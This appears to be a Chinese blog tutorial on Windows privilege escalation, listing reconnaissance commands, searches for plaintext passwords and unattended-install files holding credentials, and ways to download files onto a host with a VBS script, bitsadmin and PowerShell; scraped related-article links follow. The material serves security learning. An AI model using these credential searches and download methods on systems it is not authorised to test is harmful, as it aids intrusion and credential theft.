Windows权限提升基础知识和命令

介绍
这篇文章是介绍window的权限提升,虽然不是一个全面的指南,但会试图覆盖主要的技术,常用的资源列表在文章底部,可供大家参考。
window权限提升基础知识
初始信息收集
在开始提权之前,我们需要了解操作系统基本的信息,如安装软件,操作系统版本,连接用户,端口进程等信息,
确定操作系统名称和版本
|
1
|
C:\Users\sanr> systeminfo | findstr /B /C:”OS Name” /C:”OS Version”
|
查看主机名
|
1
|
C:\Users\sanr> hostname
|
查看所有环境变量
|
1
|
C:\Users\sanr> SET
|
查看用户跟用户详细信息
|
1
2
|
C:\Users\sanr> net user
C:\Users\sanr> net user sanr
|
查看在线用户
|
1
|
C:\Users\sanr> query user
|
查询终端端口
|
1
|
C:\Users\sanr> REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal” “Server\WinStations\RDP-Tcp /v PortNumber
|
网络连接
让我们来看看该系统的网络设置 – 基本网络,路由,防火墙等。
查看ip dns地址
|
1
|
C:\Users\sanr>ipconfig /all
|
要查看路由表
|
1
|
C:\Users\sanr> route print
|
要查看ARP缓存:
|
1
|
C:\Users\sanr> arp -A
|
查看网络连接
|
1
|
C:\Users\sanr> netstat -ano
|
要查看防火墙规则:
|
1
2
3
|
C:\Users\sanr> netstat -ano
C:\Users\sanr> netsh firewall show config
C:\Users\sanr> netsh firewall show state
|
应用程序和服务
查看系统上的计划任务
|
1
|
C:\Users\sanr> schtasks /QUERY /fo LIST /v
|
要查看服务的进程ID:
|
1
|
C:\Users\sanr> tasklist /SVC
|
要查看已安装驱动程序的列表:
|
1
|
C:\Users\sanr> DRIVERQUERY
|
查看已经启动Windows 服务
|
1
|
C:\Users\sanr> net start
|
查看某服务启动权限
|
1
2
3
4
5
6
7
8
9
10
11
12
|
C:\Users\sanr> sc qc mysqla
[SC] QueryServiceConfig 成功
SERVICE_NAME: mysqla
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : “D:\Program Files\phpstudy\mysql\bin\mysqld.exe” MySQLa
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : MySQLa
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
|
利用WMIC获取有价值的数据
查看其版本的已安装程序的列表
|
1
|
C:\Users\sanr> wmic product list brief
|
查看服务,进程或启动程序的列表:
|
1
2
3
|
C:\Users\sanr> wmic service list brief # Lists services
C:\Users\sanr> wmic process list brief # Lists processes
C:\Users\sanr> wmic startup list brief # Lists startup items
|
检查已安装的更新和安装日期
|
1
|
C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn
|
搜索,您可以使用提升权限的特定漏洞
|
1
2
|
C:\Users\sanr> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:”KBxxxxxxx”
# Replace with a patch version that you are searching for. Eg – KB3000061
|
执行上面的命令的没有输出,意味着那个补丁未安装。
敏感数据和directories
检查未加密的密码,或敏感信息的文件多汁:
|
1
2
3
4
5
|
C:\Users\sanr> cd/
C:\Users\sanr> dir /b/s password.txt # Will search for all password.txt files on the filesystem.
C:\Users\sanr> dir /b/s config.* # Will search for all files starting with ‘config’ on the filesystem.
C:\Users\sanr> findstr /si password *.xml *.ini *.txt
C:\Users\sanr> findstr /si login *.xml *.ini *.txt
|
除此之外,您还可以检查无人值守安装日志文件。这些文件通常包含base64编码的密码。你更可能在大型企业中,其中单个系统的手动安装是不切实际的找到这些文件。这些文件的共同位置是:
|
1
2
3
4
|
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
|
目录文件操作
列出d:\www的所有目录:
|
1
|
for /d %i in (d:\www\*) do @echo %i
|
把当前路径下文件夹的名字只有1-3个字母的显示出来:
|
1
|
for /d %i in (???) do @echo %i
|
以当前目录为搜索路径,把当前目录与下面的子目录的全部EXE文件列出:
|
1
|
for /r %i in (*.exe) do @echo %i
|
以指定目录为搜索路径,把当前目录与下面的子目录的所有文件列出
|
1
|
for /r “f:\freehost\hmadesign\web\” %i in (*.*) do @echo %i
|
显示a.txt里面的内容,因为/f的作用,会读出a.txt中:
|
1
2
3
4
5
6
7
8
9
10
11
12
|
for /f %i in (c:\1.txt) do echo %i
RAR 打包
C:\Users\sanr> rar a -k -r -s -m3 c:\1.rar c:\folde
php读文件
C:\Users\sanr> c:/php/php.exe “c:/www/admin/1.php”
<?php
$file_handle = fopen(“f:/config.asp”, “r”);
while (! feof($file_handle)) {
echo fgets($file_handle);
}
fclose($file_handle);
?>
|
利用系统程序,文件下载
拥有了这些信息,我们现在可以开始实际提升我们的特权的过程。
利用vbs来让我们上传文件,是一个vbs下载者,原理是下载文件到这台计算机(需要访问网络):
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
‘ downloadfile.vbs
‘ Set your settings
strFileURL = “http://127.0.0.1/text.ico”
strHDLocation = “d:\text.ico”
‘ Fetch the file
Set objXMLHTTP = CreateObject(“MSXML2.XMLHTTP”)
objXMLHTTP.open “GET”, strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject(“ADODB.Stream”)
objADOStream.Open
objADOStream.Type = 1 ‘adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 ‘Set the stream position to the start
Set objFSO = Createobject(“Scripting.FileSystemObject”)
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
|
这个脚本可以在任何版本的Windows上运行,要执行它,如下。
|
1
|
C:\Users\sanr> script.exe downloadfile.vbs
|
如果操作系统是Windows7及以上的,使用的bitsadmin跟powershell:
|
1
2
|
C:\Users\sanr> bitsadmin /transfer n http://www.jd.com/favicon.ico d:\text.ico
C:\Users\sanr> powershell (new-object System.Net.WebClient).DownloadFile(‘http://www.jd.com/favicon.ico’,’text.ico’)
|
下载文件方式还有一些其他的方式,比如ftp php python,可根据自己的需求来选择。
Windows权限提升基础知识和命令的更多相关文章
- 《Linux基础知识及命令》系列分享专栏
<Linux基础知识及命令>系列分享专栏 本专题详细为大家讲解了Linux入门基础知识,思路清晰,简单易懂.本专题非常适合刚刚学习Linux的小白来学习,通过学习该专题会让你由入门达到中级 ...
- Linux基础知识与命令1(su passwd)
一.Linux的基本原则 1.linux由一个个目的单一的小程序组成,我们一般需要组合小程序来完成复杂的任务 2.Linux的一切都是文件(文件类似于一棵树,包括外设,接口) 3.Linux尽量避免捕 ...
- linux 基础知识及命令总结
1.mkdir 创建目录 -p 创建多级目录 mkdir -p /data/test -m, --mode=模式 设置权限模式(类似chmod),而不是rwxrwxrwx 减umask -p, ...
- linux 文件权限的基础知识
由于自己总是记不住linux里权限的一些知识,因此简单总结如下: 查看文件权限 // 列出所有文件 ls -al // 最前面的一串10个字母的字符串 // 可能像 drwxrwxr-x // 第一位 ...
- 后端程序员必备的 Linux 基础知识+常见命令(近万字总结)
大家好!我是 Guide 哥,Java 后端开发.一个会一点前端,喜欢烹饪的自由少年. 今天这篇文章中简单介绍一下一个 Java 程序员必知的 Linux 的一些概念以及常见命令. 如果文章有任何需要 ...
- (转)rabbitMQ基础知识及命令语句
摘要: 整理rabbitmq的用户管理相关知识,备忘 安装最新版本的rabbitmq(3.3.1),并启用management plugin后,使用默认的账号guest登陆管理控制台,却提示登陆失败. ...
- Windows PE入门基础知识:Windows PE的作用、命名规则、启动方式、启动原理
Windows PE的全名是WindowsPreinstallationEnvironment(WinPE)直接从字面上翻译就 是"Windows预安装环境".微软的本意是:Win ...
- Linux基础知识和命令
1,用户登录: root(管理员),权限最大.安全生产必要时再使用. 普通用户:权限有限.2, 终端终端设备终端:输入和输出设备,如:键盘鼠标显示器; 图形终端:虚拟机进入窗 ...
- maven基本基础知识及命令学习-1
Maven概述:Maven是很有效的项目管理工具,maven是基于项目对象模型(POM),可以通过一小段描述信息来管理项目构建.报告和文档的软件项目管理工具.统一管理环境,架包等. 一 maven下载 ...
随机推荐
- 微信小程序探索(一)
一.小程序到底是个什么鬼? 现在Android系统越用越卡的现状很头疼,手机上再也不想装太多的App,而市面上层出不穷的各种应用,有时又是我们需要用到的,怎么办呢!!微信小程序就是一种不需要下载安装即 ...
- 第2章 rsync算法原理和工作流程分析
本文通过示例详细分析rsync算法原理和rsync的工作流程,是对rsync官方技术报告和官方推荐文章的解释. 以下是本文的姊妹篇: 1.rsync(一):基本命令和用法 2.rsync(二):ino ...
- [luogu P1967][NOIp2013] 货车运输
题目描述 A 国有 n 座城市,编号从 1 到 n,城市之间有 m 条双向道路.每一条道路对车辆都有重量限制,简称限重.现在有 q 辆货车在运输货物, 司机们想知道每辆车在不超过车辆限重的情况下,最多 ...
- 简单的.NET后台定时服务框架
后台服务只要是有一定经验的开发人员都接触过,其中离不开服务创建,调度逻辑处理,业务逻辑编写等环节.往往我们在新建一个后台服务项目的时候都会去拷贝以前的代码,再写一些线程等方式去完成,然后又去处理服务的 ...
- tensorflow max_pool(最大池化)应用
1.最大池化 max pooling是CNN当中的最大值池化操作,其实用法和卷积很类似. tf.nn.max_pool(value, ksize, strides, padding, name=Non ...
- Intellij IDEA 2017 详细图文教程之概述
天天编码 , 版权所有丨本文标题:Intellij IDEA 2017 详细图文教程之概述 转载请保留页面地址:http://www.tiantianbianma.com/intellij-idea- ...
- zookeeper单机模式安装
zookeeper单机模式安装 更多文章:http://blogxinxiucan.sh1.newtouch.com/2017/07/26/zookeeper单机模式安装/ 下载zookeeper u ...
- java迭代器浅析
简介 迭代器是遍历容器的一种常用方法,它屏蔽了容器的实现细节,无需暴露数据结构内部,就可以对容器进行遍历,迭代器本身也是一种设计模式,迭代是一种特殊的遍历方式 Iterator 在java中,迭代器接 ...
- 解决Ubuntu手动安装vim后无法正常…
首先声明这个问题很坑爹~ 问题描述:下载了vim7.3版本的源码,在虚拟机里面的ubuntu12中手动安装成功后.在使用vim编辑文档时,进入编辑模式出现如下现象:1.使用方向键会打印出"A ...
- (5)UIView常见属性
此时打印的所有子控件会把使用自动布局的控件也打印出来,不准确,所以得去掉这两个选项,再进行打印 使用实例如下: viewWithTag的注意点,当有多个相同的Tag值时,它是先找到第一个Tag值,而不 ...